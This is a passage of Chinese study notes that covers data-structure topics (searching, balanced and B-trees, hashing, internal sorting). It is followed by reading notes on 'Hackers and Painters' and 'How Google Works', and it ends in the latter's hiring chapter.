2. 删除该顶点和所有从该顶点发出的边
3. 循环执行 1、2。终止条件：所有顶点被输出或再无入度为 0 的顶点
执行时间：O(n+e)
AOE 网：用顶点表示事件，弧表示活动，边权值表示活动持续时间
源点：入度为 0 的事件
汇点：出度为 0 的事件
AOE 网的关键路径：从源点到汇点的最短距离，即完成工程的最短时间
- 方法：求解每个事件的最早发生时间和最晚允许的开始时间：O(n+e)

第九章检索

检索：从数据元素集合中确定是否存在给定数据或满足某种特征的过程
关键字：唯一标识每个元素
静态查找表：检索前后并不改变表的内容
动态查找表：检索伴随着数据的增、删、改
平均查找长度：表示与集合中关键字的比较次数，是衡量检索算法的标准

线性表检索

在线性表上进行
顺序检索：从表头扫描到表尾，逐个比较
- 效率：
  - 成功时：平均 (n+1) / 2
  - 失败时：平均 n
- 优化：
  - 哨兵：在表尾设置一个与关键字相等的哨兵，这样就不用每次都要判断是否查找完成（到达表尾）
  - 动态查找表（适合链式存储）：每个结点附设一个访问频率域
二分法检索（折半查找）：跟中间关键字来比较以决定范围
- 要求：关键字有序
- 时间复杂度：O(log_2n)
- 适合静态查找表
分块检索（索引顺序查找）：将线性表分块，块中有若干元素，快中元素可以无序，但块与块间必须有序
- 顺序检索和二分检索的结合
- 建立一个索引表，将每块中的最大元素放入表中
- 最大查找长度：n 个元素分为 b 块：b + n / b
- 效率：在顺序检索和二分检索之间
- 分块：可根据数据的特征分块
- 块中元素无序：适合动态地增、删

二叉排序树（二叉查找树）

性质：左子树上所有结点 < 根结点 < 右子树上所有结点
递增序列：中序遍历（树排序）
查找：
1. 根结点 = 给定关键字：查找成功
2. 根结点 < 给定关键字：在右子树中查找
3. 根结点 > 给定关键字：在左子树中查找
4. 二叉树变为空树：查找失败
效率与树的形状相关：比较次数不会超过树的深度
效率：
- 最坏：退化成深度为 n 的单支树（单链表）：(n+1) / 2（顺序检索）
- 最好：形状匀称：O(log_2n)
适合动态查找表，方便地增、删
插入：插入位置为检索失败的最终叶结点位置
创建：不断插入，树的形状与插入次序有关
删除：
- 叶结点：直接删除
- 只有左子树没有右子树：左子树替代被删结点位置
- 只有右子树没有左子树：右子树替代被删结点位置
- 左右子树都有：
  - 方法一：
    1. 让被删结点右子树代替被删结点
    2. 被删结点左子树收为被删结点右子树中序首点的左孩子
  - 方法二：
    1. 让被删结点左子树代替被删结点
    2. 被删结点右子树收为被删结点左子树中序尾点的右孩子

保持树的平衡

使二叉树的高度尽可能为 O(log_2n)
丰满树：
- 定义：任意两个非双孩子结点的高度差绝对值 <= 1
- 子女结点数 < 2 的结点只出现在最低两层
- 具有最小内部路径长度
- 平分法构造丰满树
- 缺点：非丰满树改造成丰满树非常困难
平衡二叉树（AVL树）：
- 定义：左子树与右子树高度差绝对值 <= 1
- 平衡度（平衡因子）：该结点左右子树高度差，从 [-1, 0, 1] 中取值
- 丰满树一定是平衡树，但平衡树不一定是丰满树
- Adelson 方法构造：
  1. 插入：正常插入，设新结点平衡度为 0
  2. 调整平衡度：
    - LL 型平衡旋转
    - RR 型平衡旋转
    - LR 型平衡旋转
    - RL 型平衡旋转
  3. 改组

各种特性树

扩充二叉树：
- 定义：对树中不足两个孩子的结点（包括叶子结点）添上附加结点，使得每个结点都有两个孩子结点
- 外部结点：附加的结点
- 内部结点：树中原来结点
- 有 n 个内部结点，则有 n+1 个外部结点
- 扩充查找树：对二叉排序树进行扩充
  - 中序遍历得到序列时：
    - 最左外部结点：码值小于内部结点最小码值的可能结点集
    - 最右外部结点：码值大于内部结点最大码值的可能结点集
    - 其余外部结点：码值处在相邻结点码值之间的可能结点集
  - 失败结点（外部结点）：检索时到达外部结点表示失败
  - 路径关系：所有外部结点路径长度和 = 所有内部结点路径长度和 + 2 * 内部结点数
  - 如果有最大（最小）内部路径长度，就有最大（最小）外部路径长度的二叉树，反之亦然
最佳二叉排序树（最优查找树）：
- 定义：具有最少比较次数
- 构造要求：
  - 相同序列的不同二叉排序树应该有相同的中序遍历序列
  - 最佳二叉排序树子树也是最佳的
- 构造过程：由一个结点、两个结点、依次构造
- 构造代价：O(n^3)
哈夫曼树（Huffman 树）：
- 定义：具有最小带权外部路径长度的二叉树
- 特点：权值大的叶子结点应该尽可能离根结点近
- 应用：
  - 分支程序（条件语句）的判断流程
  - 数据通信的二进制编码
- 哈夫曼算法（构造哈夫曼树）：
  1. 用有序链表存放权值（可以看作是各子树的根结点）
  2. 每次取前两小的子树构造新树，新树权值为两子树权值和
  3. 根据新树根权值大小重新插入有序链表，保持有序，直至链表只剩一棵树
- 计算 WPL（带权外部路径长度）：
  - 根结点高度为 0，下面每层 +1
  - WPL = 0 + 1*20 + 2*16 + 3*(10+6)
B 树（B-tree）：多路平衡查找树
- 针对较大的、在外存储器的文件
- 应用：在文件系统中作为索引文件的结构
- 基本操作：查找；插入；删除
- 定义：设有一颗 m 阶（m>=3）B 树：
  - m 叉树：每个结点最多有 m 棵子树
  - 如果根结点不是叶子结点（树中只有根结点），那么它至少有两个子结点
  - 非根结点至少有 ceil(m/2) 棵子树和 ceil(m/2)-1 个关键字
  - 非终端结点结构：(n, p0, k1, p1, k2, p2, ..., kn, pn)
    - n 为关键字的个数，n+1 为子树个数：ceil(m/2)-1 <= n <= m-1
    - k 为关键字，且递增排列
    - p 指向子树，且子树中的关键字会对应 p 的范围，如：
      - p0 指向的子树所有关键字都小于 k1
      - p1 指向的子树所有关键字在 [k1, k2] 之间
      - p2 指向的子树所有关键字都大于 k2
B+ 树（B+ tree）：
- 构造：自底向上地把每个结点的最大（最小）关键字复写到上一层结点中
- 两个头指针：
  1. 指向根结点
  2. 指向关键字最小的叶子结点
- 非叶子结点只用于索引，不含有该关键字对应记录的存储地址
- 基本操作：查找；插入；删除
- 定义：
  - 每个结点最多有 m 棵子树
  - 非根结点至少有 ceil(m/2) 棵子树：ceil(m/2) <= n <= m
  - 如果根结点不是叶子结点（树中只有根结点），那么它至少有两个子结点：2 <= n <= m
  - 所有叶子结点包含全部关键字且有序排列（链表）
  - 结点有多少个关键字就有多少个子树
  - 每层结点是下一层结点中最大（最小）关键字的副本

散列

散列存储：
- 定义：以关键字为自变量通过散列函数计算出对应的值，以此作该结点的存储地址。检索时用同样的函数计算出地址再去取
- 散列表：用散列法存储的线性表
- 检索时间与元素个数无关：O(1)
- 冲突（碰撞）：不同关键字具有相同的存放地址
- 同义词：发生碰撞的多个关键字
- 负载因子 α：反映装填程度
  - α = 当前结点数目 / 可容纳的结点数目
  - α > 1 时冲突不可避免
- 两个主要问题：
  - 使用计算简单、冲突几率小的散列函数
  - 确定解决冲突的方法
散列函数：
- 原则：均匀映射、降低冲突概率
- 除余法：选择一个略小于地址个数的质数，用它除以关键字得到的余数作为地址
- 平方取中法：取关键字平方后的中间几位作为地址：因为一个数平方后中间几位和数的每一位都有关
- 折叠法：将关键字分割成位数相同的几部分，取这些部分的叠加和（舍去进位）作为地址
  - 适合关键字位数很多且每位数字分布均匀时
  - 移位叠加：将分割后的每一部分最低位对齐相加
  - 间界叠加：从一端到另一端沿分割界来回折叠对齐相加
- 数字分析法：丢掉分布不均匀的位，保留分布均匀的位作为地址
- 直接地址法：取关键字或关键字的线性函数值作为地址
  - 哈希函数简单、不会冲突
  - 元素分布离散，大量空间浪费
冲突处理：
- 发生冲突的几率与负载因子 α 呈正相关
- 开放定址法：发生冲突时用某种方法探测到一个空位置（开放地址）
  - 需要某种标记区分空位置和非空位置
  - 形式：H_i(k) = (H(k)+d_i) mod m H(k) 为直接哈希地址，m 为哈希表长、d_i 为每次再探测时的地址增量
  - 线性探测再散列：d_i = 1, 2, 3, ..., m-1
  - 二次探测再散列：d_i = 1^2, -1^2, 2^2, -2^2, ..., k^2, -k^2
  - 随机探测再散列：d_i = 随机数序列
  - 聚集：哈希地址形成区块的现象
- 再哈希法：发生冲突时用下一个不同的哈希函数计算地址，直至无冲突
  - 不易发生聚集，但增加了计算时间
- 拉链法：散列表中每个位置对应一条单链表，同义词（地址相同）均放入链表中，冲突时在链表后面加入
  - 处理冲突简单，无聚集：非同义词不会冲突，平均查找长度较短
  - 删除结点的操作易于实现
  - 动态申请空间，适合无法确定表长的情况
  - 指针会占用额外空间
- 差值法：冲突时用一个固定的差值得到新地址，超出时循环
- 公共溢出区法：发生冲突时忽略哈希函数得到的地址，直接添加到溢出表

第十章内排序

排序的定义：以记录中某个（几个）字段值（排序码）递增（递减）的次序将这些记录重新排列
关键码：唯一标识一个记录的字段
关键码可为排序码，但排序码不一定为关键码，即排序码可能会相同
由存储介质分类：
- 内排序：数据只在内存中处理
- 外排序：数据过大，内存不够，还需要用到外存
稳定性：
- 稳定：有相同排序码的记录，排序后次序不变
- 不稳定：有相同排序码的记录，排序后次序改变

插入排序

直接插入排序：将未排序记录插入到已排序记录的适当位置，且保持有序
- 从右到左找到适当位置，将该位置后面的元素后移来空出位置
- 哨兵：将表中第一个位置前的值设为当前待插入元素的值
- 在比较过程中后移，每次一符合条件就后移一位
- 最好情况：一开始就是有序的
- 最坏情况：一开始就是逆序的
- 时间复杂度：O(n^2)
- 附加空间：1（哨兵）
- 稳定性：稳定
二分法插入排序：插入时用二分法在已有序记录中找到合适位置
- 比较次数：少于直接插入的最多比较次数，多于直接插入的最少比较次数
- 当 n 较大时，二分插入比较次数远少于直接插入平均比较次数，但移动次数相同
- 时间复杂度：O(n^2)
- 附加空间：1
- 稳定性：稳定
表插入排序：在不进行记录移动的情况下，通过存储结构信息的改变来完成排序
- 从下标 0 开始沿着 link 域得到递增的静态链表
- 时间复杂度：O(n^2)
- 稳定性：稳定
Shell 插入排序：对于 n 个记录可分为 d 组，每隔 d 取一个数，每组有 n/d 个元素，对每组分别进行直接插入排序，逐渐缩小 d 的值，直至为 1，此时有序
- 关键在于选取高效的增量序列
- 稳定性：不稳定

选择排序

直接选择排序：每次从待排序记录中选择最小（最大）元素，将其放入正确的位置（与第一个记录交换）
- 初始有序时：无任何移动记录的操作
- 时间复杂度：O(n^2)
- 附加空间：1
- 稳定性：不稳定
树型选择排序：保存比较的结果，而不用重复比较
- 结构：所有排序码均在叶子结点，分支结点保存左右子树的较小（大）者
- 记录数个数为奇数时：可增加一个大于（小于）所有值的结点进行比较
- 每次从根结点取出最小（最大）的值后，用正无穷值替换原来的位置
- 时间复杂度：O(nlog_2n)
- 附加空间：
  - n-1 个分支结点用于存放中间比较结果
  - 存储已排序记录的空间
堆排序：堆是一颗完全二叉树，且任意分支结点的值都小于（大于）或等于左右结点
- 即保存中间比较结果，有不占用过多存储空间
- 用数组（顺序方式）存放该完全二叉树
- 建堆：从第 floor(n/2) 个结点开始，直到以第一个结点为根的整棵树有堆的性质
- 筛选算法：对某个序号进行调整的算法
- 排序：不断从根结点取出元素，再重新满足堆的性质
- 重新建堆：
  1. 堆中最后一个元素与根结点（数组中的第一个元素）交换，堆中元素总数 -1
  2. 再从根结点重新调整
- 适用于 n 较大的文件：因为建堆和调整需要多次筛选
- 时间复杂度：O(nlog_2n)
- 附加空间：1
- 稳定性：不稳定

交换排序

冒泡排序：排序码之间两两比较，如果不满足排序顺序则交换。每趟将一个元素放到最终正确位置，在某趟中未发生元素交换则表示已排序
- 时间复杂度：O(n^2)
- 附加空间：1
- 稳定性：稳定
快速排序：取一记录为 pivot，使得它前面的记录小于它，它后面的记录大于它。再对前面和后面的记录递归重复
- 分区：在数组左右两端设置两个指针，向中间扫描，停止时（满足条件）交换
- 时间复杂度：O(nlog_2n)
- 附加空间：1 + 递归调用所占空间
- 稳定性：不稳定

归并排序

思想：对多个有序子文件合并成一个大的有序文件
归并：2 个有序子文件进行比较，取出较小（较大）元素放入目标文件
三路归并排序：归并的有序子文件有 3 个
一次归并
一趟归并
时间复杂度：O(nlog_2n)
附加空间：与待排序文件空间相同
稳定性：稳定

基数排序（分配排序）

思想：运用多排序码的思想进行单排序码排序
多排序码的排序：
- 分配：分成若干份
- 收集：将若干份按序叠在一起
静态链式基数排序：
- 步骤：
  1. 先建立一个单链表，一个结点对应一个记录
  2. 分配：从个位分配到对应的队列中，在同一队列的元素个位数都相同
  3. 收集：从队列中的元素按序还原成单链表
  4. 重复执行 2、3，从最低位到最高位
- 设排序码的取值范围中值的个数为 rd（十进制则为10）：
  - 收集：O(rd)
  - 总共要进行 b 趟分配和 b 趟收集
- 时间复杂度：O(b(n+rd))
- 附加空间：2rd 个队列指针 + n 个 link 指针域
- 稳定性：稳定

【读书笔记】黑客与画家

Mon, 02 May 2022 07:23:08 GMT

前言

第一章为什么书呆子不受欢迎

书呆子比起受欢迎，更希望变得聪明；
书呆子被欺负的原因是，这个年纪的青少年在心理上还没有摆脱儿童状态；
成年人不知道孩子们内部发生的事；
校方最重视的事情就是让学生待在自己应该待的位置；
真实世界的书呆子不受欺负的原因是，它的庞大规模使得你做的事情都能产生真正意义上的效果；
学校只是一个成年人设置的，用来囚禁现在还没有生产能力的儿童的监狱。

第二章黑客与画家

黑客和画家类似，而不是一种科学；
唯一有效的外部考核就是时间；

第三章不能说的话

在不同的时间或地点，普罗大众对某些观点的看法是不同的；
寻找和质疑哪些不能说的话能有优渥的回报
不要说哪些不能说的话

第四章良好的坏习惯

黑客大多数不服从管教

第五章另一条路

创业公司使用大公司不能使用的编程语言，就能打败它们

第六章如何创造财富

创业就是压缩工作年份
不同的人所能创造的财富是不同的
致富需要可测量性（小团队）和可放大性（高科技）
创业在个体上是不成比例的
保护拆产的所有权，就能促使人们去致富

第七章关注贫富分化

不公平是老爹模式的标志
压制收入差距的扩大，会导致社会作为一个整体变得更贫穷了。

第八章防止垃圾邮件的一种方法

贝叶斯方法很有效

第九章设计者的品味

好的设计是怎样的

第十章编程语言解析

语言之间天差地别
高级语言比较好
静态类型和动态类型没有固定答案
面向对象很好，但是不能强迫使用

第十一章一百年后的编程语言

编程语言的组成分为：基本运算符的集合（扮演公理的角色）、除运算符以外的其它部分；
一种语言的内核设计得越小、越干净，它的生命力就越顽强；
性能分析器很重要

第十二章拒绝平庸

Lisp 是位于语言进化树最上方的语言

第十三章书呆子的复仇

Lisp 是为了证明数学才诞生的语言，所以它容易不会过时。

第十四章梦寐以求的编程语言

最好的编程语言的特征

第十五章设计与研究

设计是改进已有的东西，研究是创造新的东西，但它们最后会交汇到一起。

【读书笔记】重新定义公司 - 谷歌是如何运营的

Mon, 02 May 2022 07:23:08 GMT

前言

未来企业的成功之道，是聚集一群聪明的创意精英，营造合适的氛围和支持环境，充分发挥他们的创造力，快速感知客户的需求，愉快地创造相应的产品和服务。

未来组织最重要的功能已经越来越清楚，那就是赋能，而不再是管理或激励。

第一次是工业革命，核心是机器取代了体力，技术超越了技能。
第二次是生产力革命，核心是以泰勒制为代表的科学管理的普及，工作被知识化，强调的是标准化、可度量等概念。
第三次是管理革命，知识成为超越资本和劳动力的最重要的生产要素。管理的重心转向激励，特别是动机的匹配。
第四次革命，即“创意革命”。

在可见的未来，机械性的、可重复的脑力劳动，甚至较为复杂的分析任务，都会被机器智能取代。

未来社会最有价值的人，是以创造力、洞察力、对客户的感知力为核心特征的。

在创意革命的时代，创意者最主要的驱动力是创造带来的成就感和社会价值，自激励是他们的特征。这个时候他们最需要的不是激励，而是赋能，也就是提供他们能更高效创造的环境和工具。以科层制为特征、以管理为核心职能的公司，面临着前所未有的挑战。

赋能的原则如何体现呢？

激励偏向的是事成之后的利益分享，而赋能强调的，是激起创意人的兴趣与动力，给予挑战。唯有发自内心的志趣，才能激发持续的创造。
赋能比激励更依赖文化。文化才能让志同道合的人走到一起。
激励聚焦在个人。而赋能特别强调组织本身的设计、人和人的互动。

如果谷歌能提供优质服务，那么资金问题就能迎刃而解。

尽可能多地聘请有才华的软件工程师，给他们自由发挥的空间。

多数企业都在用过关制：设立明晰的阶段和步骤，并安排公司自下而上的各级管理者进行层层评估。这种方法的初衷是节约资源，将广泛散布的信息汇集到一小撮决策者那里。

员工得到充分授权，公司所处的新兴行业日新月异。

三股强大的科技狂潮：

互联网让信息免费、源源不断、无处不在，也就是说，几乎所有信息都可以在网络上找到。
移动设备和网络让全球范围内的资讯共享及持续通信成为可能。
云计算让人人都能以低廉的价格现付现购地使用强大的计算功能、无限的内存空间、精密的工具和各种应用程序。

用经济术语来说，如果某行业产品主要要素的成本曲线下降，那么该行业必将会出现剧变。

提供出类拔萃的产品是企业成功的关键，产品甚至比掌控信息、垄断渠道和强力营销更重要。原因是：

消费者从未像现在一样拥有这么多信息和选择。
实验和失败的成本显著下降。

以前，人们会花30%的时间打造优质服务，70%的时间大张旗鼓地宣传。但现在，情况正好相反。

知识工作者：以信息为基础进行工作的人。

提高产品研发速度及产品质量已然成为企业最为注重的目标。

创意精英的特点：

不仅拥有过硬的专业知识，懂得如何使用专业工具，还需具备充足的实践经验。
有分析头脑。
有商业头脑。
有竞争头脑。
拥有用户头脑。
是新颖原创构想的源泉。
充满好奇心。
喜爱冒险。
自动自发。
心态开放。
一丝不苟。
善于沟通。

共同特点是：认真努力、乐于挑战现状、敢于从不同的角度切入问题。

众多商业领导者都需要面对的任务：重设管理原则，创造并维持一种新的工作环境，在这家飞速发展的企业中为我们卓越的创意精英们提供茁壮成长的沃土。

第一章文化：相信自己的口号

在企业成立之初就认真考虑并且确定你希望的企业文化，这才是明智之举。

实际上，你所在企业基础设施的整体设计目标很可能就是（以最小的花费）提供宽敞和安静的环境，级别越高的人，工作空间就越宽敞，环境也越清静。

办公室的设计应本着激发活力、鼓励交流的理念，而不要一味制造阻隔、强调地位。

方便的交流可以为创意精英们提供灵感，把创意精英聚集在一起，你就能引爆他们的思想。因此，我们必须为他们提供一个拥挤的环境。

如果你轻松伸手就能拍到同事的肩膀，那么你们之间的交流和创意的互动就是畅通无阻的。

我们认为，不同职能的团队应该整合在一起。

在互联网时代，产品经理的任务是与设计、策划以及研发人员通力合作，共同打造高质量的产品。这样的模式要求产品经理通过涉足一些传统概念中的管理工作来影响产品生命周期、制定产品营销结构图、为消费者说话，并把这些理念传递给自己的团队和管理层。

从本质上来讲，薪金的高低与决策能力完全无关，而只有在决策人使用个人经验作为有力凭据时，我们才能说经验的多寡对决策有所影响。

要营造任人唯贤的环境，我们必须创造一种强调“质疑”的文化。如果员工对某个问题存在疑义，就必须把自己的顾虑提出来。如果因为员工三缄其口而让不尽如人意的构想占了上风，那么这些员工也难辞其咎。

创意精英希望多干实事，因此需要加深与决策者之间的沟通。

7的法则：要求每位管理者的桌上至少要放7份直接报告。

谷歌坚持按职能划分部门，将企业分为工程、产品、财务以及销售等部门，每个部门直接向首席执行官汇报。

以业务或产品线为基础的组织结构会造成“各成一家”的局势，从而对人员和信息的自由流动形成扼制。每个部门自负盈亏的措施看似有利于衡量业绩，却会使各业务部门的领导者把自己部门的盈亏置于企业整体利益之上，从而对部门的发展方向造成误导。

重组原则：

留意不同团队的不同倾向：工程人员喜欢复杂，市场人员喜欢增加管理层，销售人员喜欢招助理。你需要从中做出权衡（实际上，能够认识到这一点已经算是跨出一大步了）。
把所有重组工作安排在一天内完成。

重组的关键，一是要速战速决，二是要在重组敲定前就开始实施。

组织应由小规模的团队构成。

两个比萨原则：团队人数不能多到两个比萨还吃不饱。

一条至关重要的组织原则是：找出最有影响力的人物，组织就以此人为中心。

在管理层的顶端，最有影响力的人（也就是执掌企业运营大权的人）应该是产品负责人。

一旦找出了最有影响力的人，就应当赋予他们重任。

一家企业的品格是所有成员品格的总和，因此如果你想打造一家高品格的企业，就必须要求员工也有高品格。

作为管理者，一旦在团队中发现害群之马，最好的方法是减少其职责，并让骑士接手剩下的工作。

恶棍所占的比例有一个临界点。这个比例达到一定数值时，大家就会认为自己必须迎合恶棍的做法才有出路，而这只能让形势愈演愈烈。

作为领导者，你需要给员工以自由和责任。不要强迫他们加班加点，也无须规劝他们早些回家陪伴家人。你只需让员工知道他们需要对自己的工作负全责，这样，他们就会全力以赴地确保完成工作。给他们足够的空间和自由，让他们自己做主。

在大团队中，请假的人可能会给别人偷懒的印象，但小团队却能理解成员偶尔的缺席。

添加流程或增设门槛的前提条件一定要严格，如果不是出于能够让人百般信服的业务上的考量，就不要增设这些障碍。

对未来成功的憧憬会令人振奋，但更多的乐趣却来自同事间的欢声笑语、幽默调侃。

快乐文化与创意文化有一个共同点：快乐无处不在。关键在于，要尽量放宽限制，没有什么是“神圣不可侵犯”的。

在企业变革时期，你需要先找一批精明的人才。要找到一批精明的人，你就得先找到其中的一个。

如果你决心开创一番新事业（或是对现有的事业做出彻底改造），就要面对冗长的工作日、无眠的夜晚，甚至连参加生日派对的时间都要被砍去。

你还必须聘请那些跟你志同道合、甘愿与你做出同样牺牲的人。要做到这一切，你必须拥有坚信自己定会成功的激情，也要拥有为梦想而实干的理性。这不仅需要你潜心投入、坚韧不拔，更重要的是要心无旁骛。

第二章战略：你的计划是错误的

如果你有商业计划，那你的计划一定是错误的。

风险投资家应永远遵守投团队而不投计划的准则。

制订计划无可厚非，但是要明白，随着你对产品和市场了解的加深及事业的发展，计划也要随之做出调整。

用基于技术洞见的创新方式解决重大难题，优化规模而非收入，让能影响每个人的优秀产品带动市场增长。时至今日，这些原则仍是互联网时代企业成功的基本指南。

所谓的技术洞见，是指用创新方式应用科技或设计，以达到生产成本的显著降低或产品功能和可用性的大幅提升。

与满足消费者的现有需求相比，满足消费者尚未意识到的需求更为重要。

最优秀的产品是靠技术因素而非商业因素赢得成功的，而在那些稍逊一筹的产品身上，技术优势就不那么突出了。

当我们的环境中充斥着丰富多样的素材，可供我们通过组合和再组合进行新的创作时，就表示组合创新时代来临了。

找到一个具体问题的解决方案，然后想办法对这个解决方案加以拓展，这也是寻找技术洞见的一个方法。

随着信息、连接、计算、生产、分销、人才等几乎所有资源的普及，你不必再聚集一众人力，广布办公网点，就能创建一家具有全球影响力的企业。

随着平台的不断扩张和不断升值，越来越多的投资会涌进来，有助于平台支持的产品与服务的升级。

如果企业内部交易的成本不再高于外部交易的成本，企业将倾向于缩小。

有时，创建平台的最好方法就是寻找一个有发展潜质的领域。

开放的平台更容易实现快速扩张。

开放的意思是，推进软件编码或搜索结果等知识产权信息的共享，遵守通用标准而非自己订立标准，让消费者享有随时退出你的平台的自由。

开放的模式非常有助于进行这样的竞争，因为开放不但有助于吸收创意（比如为企业平台增添新的卖点，从合作伙伴那里获取新的应用程序），也可以降低互补性元素的成本。

开放也可以让成千上万人的才能为你所用。

开放可以刺激更大的创意，因为人们不必再去重复已有的成果，转而全身心地用新的创意推动整个行业体制的发展。

如果你把所有的信息都放在网上，这说明你没有什么好隐瞒的。

开放模式的另一个优势是让用户享受到了自由，来去自如，这与将消费者禁锢起来的做法正好相反。

开放无关道德，开放往往是激发创意和降低成本的最好方式。

在有些情况下，封闭也能取得良好的效果。如果你的产品有明显的优势（通常是因为产品背后有强大的技术洞见做支持），而你处在一个快速发展的新兴市场，那么你无须公开你的平台，也可以快速成长。

开放的平台有时对用户和创意无益。

一些企业领导者花费大量的时间来观察和模仿竞争者，等到最终有所突破、敢于做新的尝试时，他们却在探索的路上瞻前顾后，只敢小心谨慎地做出收效甚微的改变。

如果你把注意力放在竞争对手身上，那你绝不会实现真正的创新。

竞争对手可以促使你前进，让你保持警醒。无论如何要提醒自己时时保持警惕，我们总有掉以轻心的时候。

如果你已在这个市场中站稳脚跟，你可以并购或创建一个破坏性挑战者，也可以采取无视的态度。

如果你是挑战者，你需要发明出新产品，并围绕产品打造你的企业，还需清楚既有企业用来遏制你的工具（比如业务关系、商业规范和法律诉讼）以及为你设置的障碍。

你也应该考虑市场其他参与者的动机，他们可能会助你一臂之力。

增长是重中之重。

确立一个大致的时间表，明确你希望达到的最终目标。

不要使用市场调查和竞争者分析。

迭代对战略至关重要。迭代必须快速，且必须以研究为基础。

许多大型企业的成功都从以下几点入手：

使用创新的方式解决问题。
利用这个解决方式快速成长与扩张。
成功很大程度上是以产品为基础的。

第三章人才：招聘是你最重要的工作

对于管理者而言，“工作中最重要的事情”是招聘人才。

在多数企业中，高管职位越高，对于招聘事宜越是不管不问。但实际上，这样的做法是本末倒置。

传统招聘模式的层级制度非常严明：决定大权掌握在用人部门的经理手中，用人部门的其他成员提出自己的意见，无论经理做出怎样的决定，高管都会盖章批准。

领导者（以及管理学书籍的作者们）常说自己会招聘比自己更聪明的人，但实际上，这种情况在层级招聘制度下很难发生。

应该摒弃层级制，招聘结果应该通过同事评估、由委员会来定夺。

招聘目的应是尽可能吸引最优秀的人才，即便暂时没有与此人经验相匹配的空缺职位也应如此。

同事评估的招聘体制不以组织为重，而以人才为本。创意精英们比具体职位更重要，公司比经理人更重要。

优质人才组成的员工团队不仅能做出令人满意的成绩，还能吸引更多优质人才的加入。

应该从一开始就设置较高的招聘标准，这样才能吸引高水平人才。

有激情的人不会用激情到处招摇，激情在他们的心中，在他们的行动中。

坚持、刚毅、认真以及专注，激情的这些特点绝不是简历上的辞藻堆砌出来的。

激情也不总是与成功挂钩，如果某人对一件事充满激情，那么即便刚开始没有获得成功，他们也会长时间地坚持下去。

在招聘时不要太看重应聘者掌握了多少知识，而要重视他们尚未开发的潜力。

如果你觉得你已经定型，那么无论环境如何，你都会一次又一次地重蹈覆辙。但如果你拥有成长型思维模式，你就会相信，经过努力，你的个性是能够培养和改变的。

激情、智慧以及学习型思维模式都是招聘中不可或缺的参考条件。

应聘者的性格同样至关重要。我们要寻找的人，不仅要待人亲切、值得信赖，也要处事周全、了解世界大势。我们要找的，是有趣的人。

Googleyness：包括上进心和抱负、团队精神、服务精神、倾听及沟通能力、行动力、效率、人际交往技巧、创造力以及品行等特质。

优秀人才的行为举止往往不拘一格。

吸引人才：物色、面试、录用、谈论待遇。

如果你愿意冒险鼓励人才去尝试他们从未挑战过的任务，你就能得到一些非凡的俊才。

最优秀的人才通常是那些职业生涯处在上升阶段的人，因为如果顺着他们的职业趋势向前推，你会发现他们非常有潜力获得成长和成功。

要把招募人才纳入每位员工的职责，并进行评估。

统计每个人举荐的人数和带来参加面试的应聘者人数；评估员工填写面试反馈表的效率；鼓励员工为招聘出力，并记录员工参与招聘活动的频率。然后，在评估业绩和提拔员工时将这些数据作为参考。

你对招聘的要求越高，面试的过程就越重要，也越富有挑战性。

在实践中，你的职责就是要在有限的时间以及人为设置的环境中辨识出应聘者的优势。

一位能力过人的应聘者在接受你的评估，同时也在对你进行审视。

你不仅需要斟酌你提出的问题，也要留意那些提出深刻问题的应聘者。

想要拥有主持面试的技巧，唯有靠练习。

一旦加入面试官委员会，就要接受一系列业绩指标的评判，包括主持面试的次数、可信度、反馈信息的质量以及给出回复的速度。

面试48小时后给出的反馈信息质量会大打折扣，我们的顶尖面试官会专门在面试后腾出时间来给出反馈

谷歌的面试只有半个小时。

每位应聘者至多只能接受5位面试官的面试。

从面试官的角度来说，面试的目的就是要形成自己的意见。

面试官必须要有自己的明确立场。

在谷歌，我们从四个方面对应聘者做出评价，且保证不同领域的应聘者在这四方面的评判标准一致：

领导力：我们想要知道，应聘者在不同情形下是如何运用手腕来调动团队的。
职务相关知识：我们寻找的是那种爱好广泛、激情四射的人，而不是仅在单一领域富有造诣的人。
一般认知能力：比起成绩单，我们更感兴趣的是应聘者的思维方式。
谷歌范儿：我们希望感知每位应聘者的独特之处，也希望他们能在谷歌这个平台上大展宏图。

招聘信息包中包含了谷歌在对应聘者进行层层面试的过程中积累下来的所有信息。这个信息包的内容不仅全面，还必须规范，这样不仅能确保招聘委员会的所有成员都能拿到完全相同的信息，还能保证这些信息能全面反映应聘者的情况。

强大的信息包包括一份涵盖所有关键信息的摘要，还包括全面综合的支持性材料。

信息包必须包括应聘者过去面试的一切数据：面试次数、分数范围、平均分。

升职决策也应该由委员会定夺，而不应该对管理层的意见言听计从。

宁缺毋滥。如果质量和速度不可兼得，那质量一定要放在首位。

如果你希望顶尖的员工能拿出更加优异的表现，那就用超出常规的薪酬来做嘉奖和激励吧。

最高的报酬理应属于那些与卓越产品和伟大创意关系最密切的人。

想要留住创意精英，最好的方法就是避免让他们太过安逸，而是不断用新的想法保持他们工作的趣味性。

需要确保最有价值的员工的利益不受企业条条框框的制约。

想要鼓励员工尝试新的角色，可以通过轮换制来实现

鼓励岗位间的人员流动，尽可能减小流动的难度，并将有关事宜列为管理层的常规讨论事项。

请确保人员轮换的候选人是团队中的佼佼者。

应该集中力量去挽留那些表现突出的明星员工、领导者以及有创意的人（这三种人可不一定是一个人），竭尽全力让他们留下来。

因为对薪酬不满而离职的员工只是少数，想要挽留人才，你首先要学会倾听。

顶尖的创意精英之所以考虑离职，是因为他们想要自立门户。不要打击他们的积极性，而要主动听取他们的“电梯演讲”。

“电梯演讲”是风险投资行业的行话，意思是“给你30秒的时间，看你能不能用你的商业构想打动我”。

有的人会拿“如果你不这样做，我就要离职”的条件给你下最后通牒。能够使出这种招数的人往往对企业已经不抱有什么感情了，重新全心全意为企业奉献的可能性也微乎其微，在这种情况下，双方决裂的大局往往已定。但如果员工与企业的缘分未尽，而你还想给出更好的待遇条件来试着挽留，那你出手一定要火速（间隔时间最好不要超过一个小时）。

要想避免解雇不得力员工的窘境，最好的方法就是不要把他们招进来。

如果你能把业绩最差的10%的员工换成新员工，这会为企业整体带来改善吗？如果答案是肯定的，你就需要反思公司的招聘方式，看看这些低绩效员工是如何进入公司的，并对这些存在漏洞的环节做出改进。

谷歌招聘之行为准则：

雇用那些比你更聪明、更有见识的人。不要雇用那些不能让你有所收获也不能对你构成挑战的人。
雇用那些能对产品和文化带来价值的人。不要雇用那些无法为产品和文化带来积极影响的人。
雇用那些做实事的人。不要雇用那些只想不做的人。
雇用那些满腔热情、自动自发的人。不要雇用那些只想混口饭吃的人。
雇用那些能启发别人且善于与人相处的人。不要雇用那些偏爱自己单干的人。
雇用那些能随着团队和企业一同成长发展的人。不要雇用那些枯燥乏味、不具备全面技能的人。
